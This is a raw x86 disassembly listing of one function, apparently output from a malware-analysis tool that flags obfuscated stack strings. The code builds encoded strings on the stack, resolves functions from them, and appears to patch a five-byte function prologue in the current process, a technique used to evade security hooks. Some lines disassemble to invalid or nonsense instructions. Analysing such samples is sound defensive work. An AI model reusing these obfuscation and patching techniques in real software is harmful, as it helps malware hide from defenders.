Function at 0x418720
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
push ebx
push esi
push edi
push 0x70
mov ebx, edx
mov dword [ebp - 8], 0xf
pop edx
push 0x10
mov esi, ecx
pop edi
movzx ecx, word [esi]
mov dword [ebp - 4], ecx
lea eax, [ecx - 0x21]
cmp ax, 0x40
jbe 0x418891
mov ax, cx
cmp ax, 0x6e
je 0x41880a
cmp ax, 0x6f
je 0x41880a
cmp ax, dx
je 0x41880a
movzx ecx, ax
cmp ecx, edx
jg 0x4187d1
je 0x4550a8
cmp ecx, 0x5d
jg 0x4187f7
cmp ecx, 0x5b
jge 0x45508e
test ecx, ecx
je 0x41888a
cmp ecx, 0x54
jg 0x41890d
movzx eax, byte [ecx + 0x4a5470]
lea esi, [esi + eax*2]
test ebx, ebx
je 0x41873a
lea eax, [ecx - 0x1d]
cmp eax, 0x37
ja 0x41873a
mov ax, word [esi - 2]
mov ecx, 0xfc00
and ax, cx
mov ecx, 0xd800
cmp ax, cx
jne 0x41873a
add esi, 2
jmp 0x41873a
mov eax, ecx
sub eax, 0x95
je 0x4550a8
dec eax
dec eax
je 0x4550a8
dec eax
dec eax
je 0x4550a8
dec eax
dec eax
jne 0x418799
jmp 0x4550a8
cmp ecx, 0x60
jle 0x418916
cmp ecx, 0x61
jne 0x418799
jmp 0x45508e
cmp ax, dx
je 0x455082
lea edi, [esi + 0x22]
movzx eax, word [edi]
push 7
mov dword [ebp - 4], eax
add eax, 0xffffff9e
pop ecx
cmp ax, cx
ja 0x41887c
lea eax, [ebp - 0x28]
mov edx, ebx
push eax
mov eax, dword [ebp + 8]
mov ecx, esi
push dword [eax + 4]
call fcn.00418c30
mov cl, byte [ebp - 4]
mov edx, ebx
not cl
movzx ecx, cl
and ecx, 1
mov dword [ebp - 0x24], ecx
lea ecx, [ebp - 0x28]
push eax
push ecx
push dword [ebp + 8]
mov ecx, eax
call fcn.00418968
add esp, 0x14
test eax, eax
je case.default.0x41886c
movzx eax, word [ebp - 4]
add eax, 0xffffff9e
cmp eax, 7
ja case.default.0x41886c
jmp dword [eax*4 + 0x418948]
push 0x6a
pop eax
mov word [edi], ax
push 0x70
pop edx
movzx eax, word [esi]
push 0x10
mov dword [ebp - 4], eax
pop edi
jmp 0x41876d
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
call fcn.00418f99
mov di, word [ebp - 4]
push 0x21
pop ecx
sub cx, ax
add di, cx
cmp di, 0x28
ja 0x418931
lea eax, [ebp - 0x28]
mov edx, ebx
push eax
mov eax, dword [ebp + 8]
mov ecx, esi
push dword [eax + 4]
call fcn.00418c30
pop ecx
pop ecx
push 0x21
pop ecx
cmp di, cx
je 0x418935
cmp di, 0x23
je 0x418935
cmp di, 0x25
je 0x418935
cmp di, 0x27
je 0x418935
xor ecx, ecx
mov dword [ebp - 0x24], ecx
test eax, eax
je case.default.0x41886c
push eax
lea ecx, [ebp - 0x28]
mov edx, ebx
push ecx
push dword [ebp + 8]
mov ecx, eax
call fcn.00418968
add esp, 0xc
test eax, eax
je case.default.0x41886c
jmp 0x455041
push 0x6c
jmp 0x418875
cmp ecx, 0x5a
jg 0x418799
movzx eax, word [esi + 2]
cmp ax, di
je 0x418929
cmp ax, word [ebp - 8]
jne 0x418799
add esi, 4
jmp 0x418799
xor eax, eax
jmp 0x4188c2
xor ecx, ecx
inc ecx
jmp 0x4188de
push 0x6b
jmp 0x418875
push 0x6d
jmp 0x418875
stc
invalid
call dword [eax - 0x18]
xchg ebp, eax
hlt
push dword [ebp + 0x14]
call fcn.004544d3
add esp, 0xc
mov dword [ebp - 0x67c], eax
and byte [ebp - 0x524], 0
and byte [ebp - 0x523], 0
mov byte [ebp - 0x522], 0x15
and byte [ebp - 0x521], 0
mov byte [ebp - 0x520], 0xa2
mov byte [ebp - 0x51f], 0x8f
mov byte [ebp - 0x51e], 0x8b
mov byte [ebp - 0x51d], 0x9a
mov byte [ebp - 0x51c], 0xac
mov byte [ebp - 0x51b], 0x98
mov byte [ebp - 0x51a], 0x8f
mov byte [ebp - 0x519], 0x8f
mov byte [ebp - 0x518], 0xea
lea eax, [ebp - 0x524]
push eax
call fcn.0045451e
pop ecx
push eax
push dword [ebp + 0x18]
push dword [ebp + 0x14]
call fcn.004544d3
add esp, 0xc
mov dword [ebp - 0x39c], eax
call fcn.0045450e
inc ecx
cld
fcmovb st(0), st(4)
and byte [ebp - 0x514], 0
and byte [ebp - 0x513], 0
mov byte [ebp - 0x512], 0xe3
and byte [ebp - 0x511], 0
mov byte [ebp - 0x510], 0x5b
mov byte [ebp - 0x50f], 0x79
mov byte [ebp - 0x50e], 0x68
mov byte [ebp - 0x50d], 0x5a
mov byte [ebp - 0x50c], 0x75
mov byte [ebp - 0x50b], 0x70
mov byte [ebp - 0x50a], 0x79
mov byte [ebp - 0x509], 0x4f
mov byte [ebp - 0x508], 0x75
mov byte [ebp - 0x507], 0x66
mov byte [ebp - 0x506], 0x79
mov byte [ebp - 0x505], 0x1c
lea eax, [ebp - 0x514]
push eax
call fcn.0045451e
pop ecx
push eax
push dword [ebp + 0x18]
push dword [ebp + 0x14]
call fcn.004544d3
add esp, 0xc
mov dword [ebp - 0x33c], eax
call fcn.0045450e
lodsd eax, dword [esi]
das
xchg ebp, eax
jns 0x455229
invalid
add al, 1
add byte [eax], al
lea eax, [ebp - 0x334]
push eax
push dword [ebp + 8]
call dword [ebp - 0x538]
mov dword [ebp - 0x398], eax
mov byte [ebp - 0x544], 1
cmp dword [ebp - 0x398], 0
je 0x455202
cmp dword [ebp - 0x398], 0
je 0x4553cc
cmp dword [ebp + 0xc], 1
je 0x4553cc
cmp dword [ebp + 0xc], 8
jne 0x455394
and byte [ebp - 0x6b8], 0
and byte [ebp - 0x6b7], 0
mov byte [ebp - 0x6b6], 0x9b
and byte [ebp - 0x6b5], 0
mov byte [ebp - 0x6b4], 0x33
test dword [ecx + edi*8 - 1], ecx
push dword [ebx]
mov byte [ebp - 0x6b3], 0x16
mov byte [ebp - 0x6b2], 0xd
mov byte [ebp - 0x6b1], 0x10
mov byte [ebp - 0x6b0], 1
mov byte [ebp - 0x6af], 0x34
mov byte [ebp - 0x6ae], 0x16
mov byte [ebp - 0x6ad], 0xb
mov byte [ebp - 0x6ac], 7
mov byte [ebp - 0x6ab], 1
mov byte [ebp - 0x6aa], 0x17
mov byte [ebp - 0x6a9], 0x17
mov byte [ebp - 0x6a8], 0x29
mov byte [ebp - 0x6a7], 1
mov byte [ebp - 0x6a6], 9
mov byte [ebp - 0x6a5], 0xb
mov byte [ebp - 0x6a4], 0x16
mov byte [ebp - 0x6a3], 0x1d
mov byte [ebp - 0x6a2], 0x64
lea eax, [ebp - 0x6b8]
push eax
call fcn.0045451e
pop ecx
push eax
push dword [ebp + 0x18]
push dword [ebp + 0x14]
call fcn.004544d3
add esp, 0xc
mov dword [ebp - 0x690], eax
mov byte [ebp - 0x6a0], 0x8b
or byte [ebp - 0x69f], 0xff
mov byte [ebp - 0x69e], 0x55
mov byte [ebp - 0x69d], 0x8b
mov byte [ebp - 0x69c], 0xec
lea eax, [ebp - 0x694]
push eax
push 5
lea eax, [ebp - 0x6a0]
push eax
push dword [ebp - 0x33c]
push 0xffffffffffffffff
call dword [ebp - 0x690]
mov eax, dword [ebp + 8]
mov dword [ebp - 0x6c0], eax
mov eax, dword [ebp + 0x10]
mov dword [ebp - 0x6bc], eax
push 0x1000
push 8
push dword [ebp - 0x674]
call dword [ebp - 0x67c]
mov dword [ebp - 0x698], eax
call fcn.0045450e
int 0xbb
and cl, byte [edx - 1]
mov ch, 0x68
stc
invalid
call fcn.0045450e
inc edx
xchg edi, eax
and al, byte [eax - 0x80]
movsd dword es:[edi], dword [esi]
mov esp, 0xfffffa
push 0
call dword [ebp - 0x340]
mov dword [ebp + 8], eax
push 0x104
lea eax, [ebp - 0x334]
push eax
push 0
call dword [ebp - 0x538]
call fcn.0045450e
pop edi
pop ecx
pop edi
scasb al, byte es:[edi]
and byte [ebp - 0x230], 0
push 0x40
pop ecx
xor eax, eax
lea edi, [ebp - 0x22f]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
and byte [ebp - 0x12c], 0
push 0x40
pop ecx
xor eax, eax
lea edi, [ebp - 0x12b]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
and byte [ebp - 0x654], 0
push 0x40
pop ecx
xor eax, eax
lea edi, [ebp - 0x653]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
and byte [ebp - 0x504], 0
push 0x40
pop ecx
xor eax, eax
lea edi, [ebp - 0x503]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
call fcn.004544ec
or byte [eax + 0x2ff845c6], ah
mov byte [ebp - 0x24], 0x34
and byte [ebp - 0x36c], 0
and byte [ebp - 0x36b], 0
mov byte [ebp - 0x36a], 0xaa
and byte [ebp - 0x369], 0
mov byte [ebp - 0x368], 0x12
mov byte [ebp - 0x367], 0x30
mov byte [ebp - 0x366], 0x21
mov byte [ebp - 0x365], 6
mov byte [ebp - 0x364], 0x2c
mov byte [ebp - 0x363], 0x26
mov byte [ebp - 0x362], 0x21
mov byte [ebp - 0x361], 0x30
mov byte [ebp - 0x360], 0x38
mov byte [ebp - 0x35f], 0x11
mov byte [ebp - 0x35e], 0x3c
mov byte [ebp - 0x35d], 0x27
mov byte [ebp - 0x35c], 0x30
mov byte [ebp - 0x35b], 0x36
mov byte [ebp - 0x35a], 0x21
mov byte [ebp - 0x359], 0x3a
mov byte [ebp - 0x358], 0x27
mov byte [ebp - 0x357], 0x2c
mov byte [ebp - 0x356], 0x14
mov byte [ebp - 0x355], 0x55
lea eax, [ebp - 0x36c]
push eax
call fcn.0045451e
pop ecx
push eax
push dword [ebp + 0x18]
push dword [ebp + 0x14]
call fcn.004544d3
add esp, 0xc
mov dword [ebp - 0x3d4], eax
call fcn.0045450e
movsd dword es:[edi], dword [esi]
dec ebp
inc edx
sub ebp, dword [eax + 4]
add dword [eax], eax
add byte [ebp - 0x12b7b], cl
call dword [eax - 1]
xchg ebp, eax
sub al, 0xfc
invalid